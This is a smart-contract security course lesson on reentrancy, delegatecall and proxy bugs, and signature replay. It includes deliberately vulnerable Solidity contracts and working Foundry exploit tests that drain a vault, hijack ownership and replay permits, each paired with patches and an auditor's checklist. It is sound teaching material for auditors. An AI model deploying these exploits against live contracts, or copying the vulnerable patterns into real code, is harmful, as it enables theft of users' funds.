Week 05 — Vulnerability Classes Part 1: Reentrancy, External Calls, Delegatecall, Proxy & Signature Replay
“Most auditors plateau because they treat each vulnerability as a trick. They aren’t tricks. Each one is a specific instance of the same root cause: state and execution are not the same thing in the EVM, and assumptions about which executes first are routinely wrong. Build the meta-model, and the named vulnerabilities become a cheat sheet, not a list to memorize.”
Tags: web3-security vulnerability reentrancy delegatecall proxy signature access-control Learner: Past Tuan-04-Security-Foundations-CEI-AC → ready for concrete bug-class work Time: 7 days (5–6h/day; this is one of the densest weeks) Related: Tuan-06-Vulnerability-Classes-Part-2 · Tuan-07-Token-Standards-Integration-Risk · Case-The-DAO-Reentrancy-2016 · Case-Parity-Multisig-2017 · Case-Cream-Iron-Bank-2021 · Case-Penpie-Pendle-2024
1. Context & Why
1.1 The unifying meta-model
Every bug in this lesson is an instance of one root cause:
The EVM allows external code to execute in the middle of a state transition that the caller assumed was atomic — and the developer’s mental model didn’t include it.
This is true for:
- Reentrancy: external call re-enters before state is finalized.
- Unsafe external call: call succeeds but with wrong/unverified semantics (return data forge, success bool ignored).
- Delegatecall: external code executes in your storage — the boundary between “your” state and “their” code dissolves.
- Proxy / storage collision: same storage slot, two contracts, race.
- Signature replay: an off-chain “approval” is treated as fresh on-chain twice.
The auditor’s mental model: whenever execution leaves your contract, assume the world rearranges before it returns. That includes state, balances, oracle prices, allowance maps, prices, time perception (timestamp), gas remaining, even your own contract’s storage if you delegatecall.
This lesson is long because each bug class has subspecies, and the subspecies are how protocols actually get drained. The 2020–2024 incident record is dominated by reentrancy variants and delegatecall/proxy bugs.
1.2 What you’ll be able to do by Friday
- Write PoCs for all four reentrancy variants (single-function, cross-function, cross-contract, read-only).
- Recognize a
delegatecallpattern in code in <10 seconds and trace what storage layout assumption it makes. - Compute the storage slot collision risk for two proxy designs.
- Identify an uninitialized proxy in a live contract on Etherscan.
- Write a signature-replay PoC that bypasses a vulnerable
permit-style flow. - Apply the master checklist (§9) to a third-party codebase you’ve never seen before.
1.3 Primary references
2. Reentrancy — the most-studied bug class, still the most-exploited
2.1 The Solidity-level mechanics
Three things happen on every external CALL:
- Control transfers to the callee’s code with a fresh stack frame.
- The callee can do anything within its gas budget — including call back into the caller.
- When control returns, your local view of state is whatever the callee left it as, not what you had before.
A reentrancy bug exists when all three are true:
- Your function calls externally (call, transfer if it forwards gas, low-level CALL, ERC-721 callback, ERC-777 hook, etc.).
- Your function makes a state change after that external call.
- Your function can be re-entered (no lock).
// Classic vulnerable pattern — DO NOT USE
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0);
(bool ok,) = msg.sender.call{value: amount}(""); // ← external call
require(ok);
balances[msg.sender] = 0; // ← state change AFTER
}The attacker’s contract:
fallback() external payable {
if (address(victim).balance >= 1 ether) {
victim.withdraw(); // re-enter — balances[me] still == amount
}
}Each re-entry sees balances[me] == amount because the zeroing happens after the call returns. Drain proceeds until the victim’s balance hits zero.
This is the original DAO bug. 10 years old and still finds new victims (Penpie 2024, Cream 2021, many others — different shape, same physics).
2.2 Four variants
2.2.1 Single-function reentrancy
The above. Most obvious. Catches first-time Solidity devs. Mostly automated tools find it.
2.2.2 Cross-function reentrancy
The re-entry calls a different function on the same contract that shares state with the original.
mapping(address => uint256) public balances;
mapping(address => uint256) public votes;
function withdraw() external {
uint256 amount = balances[msg.sender];
(bool ok,) = msg.sender.call{value: amount}("");
require(ok);
balances[msg.sender] = 0;
}
function transferVotes(address to) external {
uint256 power = balances[msg.sender]; // ← read while withdraw is mid-call
votes[to] += power;
// ... vote logic
}A ReentrancyGuard on withdraw only doesn’t protect transferVotes if the guard is per-function. Mitigation: a contract-wide mutex, or apply nonReentrant to every state-mutating function that reads from shared maps.
2.2.3 Cross-contract reentrancy
Reentrancy across two contracts that share state through an external trust assumption.
Classic case: Contract A holds tokens in Contract B (e.g., a vault A deposits into staking B). A user calls into A, A calls B, B calls back into A’s callback (via ERC-777, ERC-721, ERC-1155 hooks, or just because A registered a callback). The state of A is mid-update, but B’s view of A’s “balance” is stale.
This is the Cream / Iron Bank 2021 shape, where AMP and other ERC-777 tokens fired the tokensReceived hook during a borrow that re-entered the lending contract. The lending contract treated the borrowed collateral as still in place; the attacker borrowed again.
2.2.4 Read-only reentrancy (high signal, often missed)
Insight: a view function can return a value that is correct only when called outside an active state transition.
Consider a Curve LP pool. While someone is mid-removing liquidity, the virtual_price getter reports an interim value that doesn’t reflect final state. Another protocol that uses this getter as a price oracle, called during the mid-removal, reads bad data. Drain occurs in the second protocol, while the first looks fine.
// Protocol B reads a "price" from Pool A during a sensitive moment
function depositCollateral(uint256 amount) external {
uint256 price = poolA.virtual_price(); // ← could be mid-update value
uint256 credit = (amount * price) / 1e18;
collateral[msg.sender] += credit;
// ...
}The first protocol’s nonReentrant lock applies to its state-changing functions. View functions don’t take the lock. Other protocols hit the unlocked view function mid-transition and consume bad data.
Mitigation: protocols that publish price-relevant views must hold the lock on their views too (Curve added a claim_admin_fees style check; modern OZ ReentrancyGuard does not protect views).
For consumers: never read a critical value from a contract during a flow where that contract might be mid-transition. Prefer dedicated oracle adapters (Chainlink) over reading another protocol’s view directly.
2.3 Mitigations — defense in depth
| Mitigation | Strength | Use when |
|---|---|---|
| Checks-Effects-Interactions (CEI) | Strongest; eliminates the bug class for in-function reentrancy | Always |
ReentrancyGuard / mutex | Strong; cheap (one storage slot) | Always for any function with external calls |
| Pull over push | Reduces external call surface | Where it fits UX |
| Don’t accept callbacks from untrusted tokens | Prevents ERC-777/ERC-1155 callback class | Token integrations |
| Lock view functions during sensitive moments | Prevents read-only reentrancy | If you publish a value other protocols may use as price |
Note on Solidity’s transfer() and send(): they forward 2300 gas, historically deemed “reentrancy-safe”. This is no longer reliable:
- EIP-1884 (Istanbul) made some opcodes more expensive; 2300 may be insufficient even for innocent receivers.
- L2s and forks have different gas costs.
- AA accounts may legitimately need more than 2300 gas for receiving.
Use .call{value: x}("") plus a reentrancy guard. Do not rely on 2300-gas heuristics.
2.4 Worked PoC: classic single-function reentrancy
// src/VulnVault.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract VulnVault {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "no balance");
(bool ok,) = msg.sender.call{value: amount}("");
require(ok, "send failed");
balances[msg.sender] = 0;
}
}// test/Reentrancy.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/VulnVault.sol";
contract Attacker {
VulnVault public vault;
constructor(VulnVault _v) payable { vault = _v; }
function attack() external payable {
vault.deposit{value: 1 ether}();
vault.withdraw();
}
receive() external payable {
if (address(vault).balance >= 1 ether) {
vault.withdraw();
}
}
function balance() external view returns (uint256) {
return address(this).balance;
}
}
contract ReentrancyTest is Test {
VulnVault vault;
Attacker attacker;
function setUp() public {
vault = new VulnVault();
// Innocent users pre-fund the vault
for (uint256 i = 1; i <= 9; i++) {
address u = address(uint160(0x1000 + i));
vm.deal(u, 1 ether);
vm.prank(u);
vault.deposit{value: 1 ether}();
}
attacker = new Attacker(vault);
vm.deal(address(this), 1 ether);
}
function test_drain() public {
attacker.attack{value: 1 ether}();
assertEq(address(vault).balance, 0, "vault should be drained");
assertGt(attacker.balance(), 1 ether, "attacker should profit");
emit log_named_uint("attacker took", attacker.balance());
}
}Run:
forge test --match-test test_drain -vvvExpected: vault drained from 10 ETH (9 innocent + 1 attacker) to 0; attacker holds ~10 ETH.
Stretch: add ReentrancyGuard from OpenZeppelin to VulnVault.withdraw, re-run, confirm test fails.
2.5 Worked PoC: read-only reentrancy outline
Full PoC is part of Case-Cream-Iron-Bank-2021 and the Curve readonly-reentrancy archetype. The structure:
- Pool A has a state-changing function
removeLiquidity()that mid-execution makes an external CALL to the user (e.g., to return ETH). - The user is a malicious contract whose receive fallback calls into Pool A’s view
virtualPrice(). - The view reports an interim value (inconsistent state) because pool state has been partially updated but not committed.
- Protocol B, configured to use Pool A’s
virtualPrice()as oracle, is called during this interim. - Protocol B mis-prices a deposit/withdrawal and gets drained.
Lab task in §7.
3. Unsafe External Calls
3.1 The category
This isn’t one bug; it’s a family of mis-handling external-call return values:
| Sub-pattern | Bug | Audit signal |
|---|---|---|
| Success bool ignored | Failed call silently treated as success | addr.call(...) not destructured |
.call returns success on non-existent address | Calling 0x0 or non-deployed addresses returns true | No extcodesize check before call |
ERC20.transfer non-standard return | Some tokens (USDT historically) don’t return a bool; naive require(token.transfer(...)) reverts | Use SafeERC20 |
| Return data forgery | A malicious target returns crafted bytes that pass downstream abi.decode checks | Trust boundary issue |
| Gas grief via 63/64 | Caller forwards all gas; callee burns most; caller out-of-gas on subsequent ops | Limit forwarded gas |
3.2 Common pitfalls
Pitfall: empty-address success.
(bool ok,) = target.call(data);
require(ok, "call failed"); // ← passes if target is address(0) with no code!EVM CALL to an address with no code returns success=true and zero return data. If your contract relies on the behavior of the target, this can be silently bypassed (e.g., a payment-collector that calls into a stripe-like router).
Mitigation:
require(target.code.length > 0, "no code at target");
(bool ok, bytes memory ret) = target.call(data);
require(ok, "call failed");Pitfall: ERC-20 non-standard returns.
Historical ERC-20 implementations (USDT, BNB, some others) didn’t return a bool from transfer(). Code like require(token.transfer(to, amt)) reverts on these tokens because the ABI decoder fails on empty return data.
Conversely, code like token.transfer(to, amt) (no check) silently accepts a false return from compliant tokens that fail mid-transfer (insufficient balance with non-reverting failure).
Mitigation: always use OpenZeppelin’s SafeERC20.safeTransfer, safeTransferFrom, safeApprove, safeIncreaseAllowance. It handles both shapes.
Pitfall: gas grief via 63/64 rule.
The EVM forwards at most 63/64 * remaining_gas to a CALL. If a callee burns 99% of forwarded gas via a loop, the caller has only 1/64 of pre-call gas left — often insufficient for subsequent storage writes. Result: caller’s later operations revert mid-function, transaction reverts entirely.
For functions that delegate to user-supplied targets (e.g., Multicall, generic routers), cap forwarded gas explicitly:
(bool ok,) = target.call{gas: 500_000}(data);3.3 Audit checklist signals
- Every
(bool ok, bytes memory ret) = ...call(...)pair: isokchecked? - If the target is user-supplied or potentially zero, is there an
extcodesize/.code.lengthcheck? - Every
token.transfer/token.transferFrom: is itSafeERC20? - Every loop calling external contracts: is gas-grief possible? Is there a max-iteration cap?
- Every external call followed by state changes: CEI compliant?
4. Delegatecall — the most dangerous instruction
4.1 What delegatecall does (precisely)
DELEGATECALL executes the callee’s code in the caller’s context. Specifically:
msg.senderstays the same (the original caller).msg.valuestays the same.- Storage is the caller’s storage, not the callee’s.
address(this)is the caller’s address.
This is the foundation of every upgradeable proxy pattern. It’s also a foot-gun the size of a building.
4.2 Bug class 1: delegatecall to attacker-controlled address
If your contract has any code path that delegatecalls to an attacker-supplied address, the attacker can run arbitrary code against your storage.
// Catastrophically bad
function execute(address target, bytes calldata data) external onlyOwner {
target.delegatecall(data);
}Even with onlyOwner, if the owner can be spoofed (signature replay, governance attack), or if the owner key is leaked, the entire contract storage is drained or rewritten.
The Parity multisig wallet 2017 bug is a delegatecall variant: the wallet contracts delegatecalled into a shared library; the library had an unprotected initWallet that, when called via delegatecall through any wallet, re-set ownership.
4.3 Bug class 2: storage layout mismatch under proxy
In a transparent or UUPS proxy:
Proxy storage:
slot 0: address admin
slot 1: address implementation
...
Implementation storage:
slot 0: uint256 totalSupply ← WRITES to slot 0 of proxy storage!
If the implementation’s variable layout doesn’t start where the proxy’s layout ends, the implementation will overwrite proxy slots. Standard mitigation: EIP-1967 defines specific high-entropy slots for proxy metadata (0x360894... for impl, 0xb53127... for admin). The implementation writes from slot 0, which is “safe” because the proxy slots are at hash-derived locations.
But this only works if:
- The implementation’s slot 0 is not also derived from a hash that collides with EIP-1967 slots. (Essentially never, but theoretically possible.)
- Upgrades preserve storage layout. Adding a variable in the middle of an existing layout shifts everything below — catastrophic.
4.4 Bug class 3: uninitialized proxy / implementation
Many proxies use an initialize() function (a stand-in for the constructor, which doesn’t work via proxies because constructors write to the implementation’s storage, not the proxy’s).
Bug: initialize() is callable by anyone if not protected. Anyone can initialize() the contract first and set themselves as owner.
Implementation contract directly (not via proxy): if the implementation has an initialize() and is left uninitialized, someone can call it. This seems harmless because no one uses the implementation directly. But the OpenZeppelin Initializable documents the danger: if the implementation has a selfdestruct or delegatecall to attacker-controlled code, initializing it and then triggering the destruct kills the implementation, bricking all proxies pointing at it.
Parity multisig 2017 part 2: a user initialized the Parity library (not the wallet, the library), then called kill on it via selfdestruct. All multisigs delegatecalling that library became non-functional. ~$280M frozen.
Mitigation:
// In implementation constructor — disable initializers on the impl itself
constructor() {
_disableInitializers();
}(OpenZeppelin Initializable v5+ pattern. Older versions used _disableInitializers() differently — [verify against your OZ version].)
4.5 Bug class 4: storage collision across upgrades
A protocol deploys V1 with:
slot 0: uint256 totalSupply
slot 1: mapping(address => uint256) balances
V2 “improves” by adding a variable in the middle:
slot 0: uint256 totalSupply
slot 1: address treasury ← NEW
slot 2: mapping(...) balances
After upgrade, what was the balances mapping (root slot 1) is now read as a single address (treasury). User balance lookups return zero (or garbage).
Mitigation:
- Append-only storage: new variables always at the end.
- Use storage gaps (
uint256[50] private __gap;) to reserve room for future fields. - Use OpenZeppelin Upgrades Plugin (
@openzeppelin/upgrades-core) which validates layout compatibility. - Or use Diamond storage / namespaced storage with hash-derived slots so logical groups can’t collide.
4.6 Bug class 5: function selector clash in Diamond proxies
Diamonds (EIP-2535) route function calls to facets by selector. Two facets implementing the same selector = collision. The diamond library refuses to add a duplicate, but upgrade flows that swap a facet can introduce silent breakage if the new facet doesn’t expose all old selectors.
Also: facets share storage. Two facets writing to the same storage slot via different variable names produces a silent collision.
4.7 Audit checklist signals
- Any
delegatecallin code: who controls the target? - If proxy: is implementation
_disableInitializers()’d? - Storage layout documented? Storage gaps used?
- Upgrade path validated with OZ upgrades plugin or equivalent?
- If Diamond: selector map validated; storage layout per facet documented?
5. Storage Collision — explicit calculations
The auditor’s reflex: when you see two contracts that share storage (via proxy/delegatecall), compute slot layout for each side.
5.1 Slot calculation reference
| Variable type | Slot |
|---|---|
Fixed-size primitive (uint256, address, bool) | Slot N (one per slot, but packing < 32B vars together) |
Statically-sized array T[k] | k contiguous slots from base |
Dynamically-sized array T[] | slot stores length; data at keccak256(slot) |
mapping(K => V) | slot stores nothing; value at keccak256(K . slot) for primitive K |
string / bytes short (<32B) | slot stores `data |
string / bytes long | slot stores length*2+1; data at keccak256(slot), sequential |
For deep details: Solidity docs on storage layout.
5.2 Worked example — packed-struct hazard
struct Position {
uint128 amount;
uint64 startTime;
uint64 lockupEnd;
}
mapping(uint256 => Position) public positions;Each Position packs into one 32-byte slot (128 + 64 + 64 = 256 bits). Fine.
But if a future upgrade changes to:
struct Position {
uint256 amount; // ← widened
uint64 startTime;
uint64 lockupEnd;
}Now each Position takes 2 slots. Existing data layout is corrupted because reads of old data use new offsets.
Lesson for auditors: changes to struct layout under a proxy are silent landmines. Always check.
5.3 EIP-1967 slot literacy
Memorize these:
| Purpose | Slot |
|---|---|
| Implementation | 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc (== keccak256("eip1967.proxy.implementation") - 1) |
| Admin | 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103 |
| Beacon | 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50 |
When auditing live contracts, read these slots directly:
cast storage <proxy_address> 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
# Returns the implementation addressUseful for confirming upgrades, scanning for misconfigured proxies, and explorer cross-checks.
6. Signature Replay
6.1 Threat model
A user signs an off-chain payload. The contract verifies the signature and executes some action. Replay = the same signed payload executes the same action again, intentionally.
// Vulnerable: no nonce, no chain id, no contract binding, no expiry
function permitTransfer(
address from, address to, uint256 amount,
uint8 v, bytes32 r, bytes32 s
) external {
bytes32 hash = keccak256(abi.encodePacked(from, to, amount));
address signer = ecrecover(hash, v, r, s);
require(signer == from, "bad sig");
token.transferFrom(from, to, amount);
}Replay vectors:
| Vector | Why it works |
|---|---|
| Same chain, same contract, again | No nonce in payload |
| Different chain | No chainId binding |
| Different contract | No verifyingContract binding |
| After it should expire | No deadline |
EIP-712 structurally fixes most of this by requiring a domain separator with (name, version, chainId, verifyingContract). EIP-2612 permit adds nonce + deadline.
6.2 EIP-712 in practice
bytes32 public constant DOMAIN_TYPEHASH = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
bytes32 public constant PERMIT_TYPEHASH = keccak256(
"Transfer(address from,address to,uint256 amount,uint256 nonce,uint256 deadline)"
);
function domainSeparator() public view returns (bytes32) {
return keccak256(abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes("MyContract")),
keccak256(bytes("1")),
block.chainid,
address(this)
));
}
function permitTransfer(
address from, address to, uint256 amount,
uint256 deadline,
uint8 v, bytes32 r, bytes32 s
) external {
require(block.timestamp <= deadline, "expired");
uint256 nonce = nonces[from]++;
bytes32 structHash = keccak256(abi.encode(
PERMIT_TYPEHASH, from, to, amount, nonce, deadline
));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator(), structHash));
address signer = ecrecover(digest, v, r, s);
require(signer == from && signer != address(0), "bad sig");
token.transferFrom(from, to, amount);
}6.3 Cached chain id is a footgun
A common micro-optimization: cache the domain separator in the constructor.
// Anti-pattern
constructor() {
DOMAIN_SEPARATOR = keccak256(abi.encode(..., block.chainid, ...));
}If the chain forks (e.g., ETH/ETC), the cached separator no longer reflects the new chain id. Signatures from old chain replay on new chain. Recompute the separator each call, or cache and compare on use, recomputing if mismatch (OZ’s EIP712.sol does this).
6.4 Permit2 (Uniswap)
Permit2 is a singleton contract that holds approvals for many tokens. Two integration risks:
- Approve-and-forget: users
approve(Permit2, MAX)once for each token; then any contract integrating Permit2 can pull via signed permission. Compromise of a Permit2-integrated contract = drain of any token the user has approved to Permit2. - Signature replay across protocols: Permit2 includes context to prevent replay, but integrations that mis-wrap it can lose that protection.
Audit angle: trace every place Permit2 is used; verify nonce and deadline are passed; verify the integrating contract correctly forwards the spender.
6.5 Signature malleability and EIP-2
ECDSA signatures (r, s, v) have a symmetry: (r, n−s, v⊕1) is also a valid signature on the same message. Pre-EIP-2 (so most chains pre-2017), this enabled transaction-hash mutation.
Modern Solidity’s ecrecover does not enforce low-s. Your contract must:
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "bad s");OpenZeppelin’s ECDSA.recover enforces this. Default to that library, not raw ecrecover.
6.6 ERC-1271 — smart contract signatures
Smart-wallet accounts (Safe, ERC-4337 accounts) can’t sign with a private key. They implement ERC-1271’s isValidSignature(bytes32 hash, bytes signature) returns (bytes4). Returns the magic value 0x1626ba7e if valid.
Audit angle: any contract verifying signatures should branch on whether the signer is an EOA or contract:
if (signer.code.length == 0) {
// EOA: ECDSA recover
} else {
// Contract: ERC-1271 isValidSignature
}OpenZeppelin SignatureChecker.isValidSignatureNow does this.
If a protocol forces all signers to be EOAs (ecrecover only), then AA users cannot use the protocol. Increasingly a real UX problem; the right pattern is SignatureChecker.
7. Lab — Reproduce four vulnerabilities end-to-end
7.1 Lab structure
~/web3-sec-lab/wk05/
├── 01-reentrancy/
├── 02-delegatecall/
├── 03-uninit-proxy/
└── 04-sig-replay/
Each is a Foundry project. Goal: write the exploit test, then patch the contract, then re-run.
7.2 Lab 1 — Classic + cross-function reentrancy
Already in §2.4. Extend it:
Task A: Add a getBalance(address user) view to VulnVault that returns balances[user]. Add a Reporter contract that, on every block, reads getBalance(victim) and asserts an invariant vault.balance >= sum(getBalance(all users)). Show the invariant fails during the reentrancy attack (read-only style).
Task B: Implement the contract-wide vs per-function mutex difference. Write a contract with withdraw() and transferShare() both reading balances. Show that protecting only withdraw with nonReentrant doesn’t help if transferShare is unprotected.
7.3 Lab 2 — Delegatecall hijack
// src/DelegatecallVuln.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract DelegatecallVuln {
address public owner;
constructor() { owner = msg.sender; }
function execute(address target, bytes calldata data) external {
// Note: no onlyOwner!
(bool ok,) = target.delegatecall(data);
require(ok);
}
}
contract Malicious {
address public owner; // ← same slot 0 as victim
function pwn() external {
owner = msg.sender; // sets victim's owner via delegatecall
}
}Task: write test_takeover that deploys both, calls execute(malicious, abi.encodeWithSelector(Malicious.pwn.selector)), then asserts victim.owner() == address(this).
Patch: make execute onlyOwner and restrict target to a whitelist of safe libraries. Confirm test fails.
7.4 Lab 3 — Uninitialized proxy (Parity-style mini)
// src/UnsafeImpl.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract UnsafeImpl {
bool public initialized;
address public owner;
function initialize(address _owner) external {
require(!initialized, "already");
initialized = true;
owner = _owner;
}
function destruct() external {
require(msg.sender == owner);
selfdestruct(payable(msg.sender));
}
}Task:
- Deploy
UnsafeImpl(acts as the bare implementation, not via a proxy). - From an attacker EOA, call
initialize(attacker). - Call
destruct(). - Show that any proxy delegating to this implementation is now bricked (
extcodesize == 0after destruct, every proxy call returns success without behavior).
(Note: post-Cancun, SELFDESTRUCT has reduced semantics per EIP-6780; it only destroys if called in the same tx as creation. This lab is mostly historical now, but the bug pattern (unprotected initialize on impl) persists.)
Patch: add _disableInitializers() in implementation constructor (OZ Initializable v5 pattern).
7.5 Lab 4 — Signature replay
// src/VulnPermit.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract VulnPermit {
mapping(address => uint256) public balances;
function deposit() external payable { balances[msg.sender] += msg.value; }
// Vulnerable: missing nonce, chainId, contract binding
function permitWithdraw(
address from, address to, uint256 amount,
uint8 v, bytes32 r, bytes32 s
) external {
bytes32 hash = keccak256(abi.encodePacked(from, to, amount));
bytes32 digest = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
address signer = ecrecover(digest, v, r, s);
require(signer == from, "bad sig");
require(balances[from] >= amount, "no funds");
balances[from] -= amount;
(bool ok,) = to.call{value: amount}("");
require(ok);
}
}Task:
- Set up a Foundry test where a user pre-deposits 10 ETH, signs a permit for 1 ETH withdrawal to address X.
- Call
permitWithdraw(...)once — succeeds, withdraws 1 ETH. - Call it a second time with the same
(v,r,s)— observe it succeeds again. Drain 10 ETH via repeated replay.
Patch:
- Add
nonces[from]and includenonces[from]++in the signed payload. - Switch to EIP-712 with proper domain separator.
- Add
deadline. - Run again — replay fails.
7.6 Lab — Stretch challenge
Build a read-only reentrancy PoC against a mock Curve-like pool. The mock pool’s removeLiquidity() calls msg.sender with ETH refund before updating virtual_price. Build a malicious receiver that, during the callback, calls a second contract Bank that consumes pool.virtual_price() as a deposit oracle. Drain Bank.
This will be one of the most valuable exercises of the entire course — read-only reentrancy is responsible for nine-figure losses across the industry and remains under-flagged by tools.
8. Anti-patterns (add to master checklist)
- External call before state update (CEI violation).
- State-changing function without
nonReentrant. -
ReentrancyGuardonly on entry points, not on view functions other protocols may read during state transitions. -
tx.origin == ownerfor access control. -
.call()with no return-value check. -
.call()to user-supplied address with noextcodesizecheck (when the call relies on callee behavior, not just transfer). - Raw
ERC20.transfer/transferFrominstead ofSafeERC20. - Forwarding all gas to user-supplied callees in batched ops (gas grief).
-
delegatecallto user-supplied address. - Implementation contract missing
_disableInitializers(). - Storage layout changes in upgrade without OZ upgrades-plugin validation.
- Domain separator cached in constructor with
block.chainid, never re-computed. - Signed payload missing nonce / deadline / chain id / contract address.
- Raw
ecrecoverwithout low-senforcement and withoutsigner != address(0)check. - Signature verification doesn’t support ERC-1271 (excludes smart accounts).
9. Trade-offs
| Decision | Option A | Option B | Auditor’s view |
|---|---|---|---|
| Reentrancy protection | CEI only | CEI + nonReentrant | Use both. CEI is structural; the guard is a safety net for refactors. |
| Push payments | Send during the user flow | Pull (user claims later) | Pull when feasible; reduces external-call surface in critical functions. |
| Proxy pattern | Transparent | UUPS | UUPS is gas-cheaper and simpler, but upgrade authority lives in implementation — if a buggy upgrade is deployed that removes upgrade authority, the contract is permanently frozen. Transparent isolates upgrade auth in admin. Verify the specific implementation’s _authorizeUpgrade. |
| Signature scheme | Custom hashed payload | EIP-712 | EIP-712 default. Custom only with very strong reason. |
permit exposure | Direct EIP-2612 permit per token | Permit2 | Permit2 unifies UX but concentrates risk in one contract; each is reasonable. Audit Permit2 integrations especially carefully. |
10. Quiz (≥80% to advance)
- Q: A function calls
(bool ok,) = msg.sender.call{value: x}("");then updatesbalances. The function is protected bynonReentrant. Is it safe from single-function reentrancy? A: From single-function reentrancy yes (the guard prevents re-entry). But cross-function reentrancy (another function readingbalances) and read-only reentrancy (view functions returning interim state) are not addressed. - Q: What’s a read-only reentrancy bug? A: External protocol B consumes a view function of protocol A while A is mid-state-transition. The view returns interim (incorrect) state. B mis-prices its action and gets drained.
- Q: Why does
.callto an address with no code returnsuccess = true? A: EVM CALL semantics: a call to an empty account succeeds and returns no data. There’s nothing to execute, but the call itself is well-formed. - Q: Why is
delegatecall(target, ...)to a user-supplied target catastrophic even iftargetisonlyOwner-gated? A: If the owner is ever spoofable (signature replay, governance, leaked key, social engineering), or if the owner makes a mistake, attacker-controlled code runs in the contract’s storage context — they can rewrite any slot, including ownership. - Q: What does EIP-1967 give you? A: Standardized high-entropy storage slots for proxy metadata (implementation, admin, beacon) so implementation contracts can use normal sequential slot layout starting at 0 without colliding with proxy slots.
- Q: An implementation contract has an unprotected
initialize(). The proxy is deployed and properly initialized. Why is the implementation still a risk? A: An attacker can callinitialize()on the implementation directly, become “owner” of the implementation, and if the implementation has any privileged action (e.g., self-destruct or delegatecall to attacker code), brick or hijack it — affecting every proxy that delegates to it. - Q: A protocol uses
keccak256(abi.encodePacked(from, to, amount))as the signed payload for a transfer. Name two ways this is replayable. A: (a) Same chain, same contract: no nonce → repeated execution. (b) Different chain or different contract: no chain id / address binding → cross-deployment replay. - Q: What’s signature malleability and how do you defend against it?
A: For valid
(r, s, v),(r, n−s, v⊕1)is also valid. Defense: requiresin the lower half of the curve order. OpenZeppelin’sECDSA.recoverenforces this; rawecrecoverdoes not. - Q: Why might a
permit-using protocol intentionally break Account-Abstraction users? A: If signature verification uses onlyecrecover, it cannot verify ERC-1271 contract signatures used by smart accounts. The protocol should useSignatureChecker.isValidSignatureNowto support both. - Q: You’re auditing a Diamond contract (EIP-2535). One of its facets adds a
function balanceOf(address). Another existing facet already hasfunction balanceOf(address). What happens, and what’s the audit finding? A: The Diamond loupe should reject adding a duplicate selector — but the removal-then-add upgrade path can silently change which facet handles the selector. Finding: document the upgrade and validate the resulting selector map; ensure storage layout across facets does not collide.
11. Week 05 Deliverables
- Reentrancy PoC (single + cross-function) working.
- Read-only reentrancy PoC (stretch).
- Delegatecall hijack PoC working.
- Uninitialized-proxy / impl-destruct PoC working (acknowledge post-Cancun limitation; reproduce the initialize-takeover part on a contract without selfdestruct).
- Signature replay PoC working + patched version with EIP-712.
- Master audit checklist updated with this week’s items.
- Notes file: written walkthrough of how you would explain each bug class to a developer in 60 seconds.
12. Where this leads
Next week: Tuan-06-Vulnerability-Classes-Part-2 — oracle manipulation, MEV/front-running, randomness, flash-loan attack flow, rounding/precision, DoS, gas griefing. Where Week 05 was about execution-order assumptions, Week 06 is about value-and-time assumptions: what the protocol believes about prices, ordering of users, and the cost of an attack.
Then in Week 07 (Tuan-07-Token-Standards-Integration-Risk) the token-quirk lens — fee-on-transfer, rebasing, ERC-777 hook patterns — which combines with this week’s reentrancy material to produce the Cream / Iron Bank / Penpie shape of exploit.
Last updated: 2026-05-16 See also: Roadmap · References · Tuan-04-Security-Foundations-CEI-AC · Tuan-06-Vulnerability-Classes-Part-2 · Case-The-DAO-Reentrancy-2016 · Case-Parity-Multisig-2017 · Case-Cream-Iron-Bank-2021 · Case-Penpie-Pendle-2024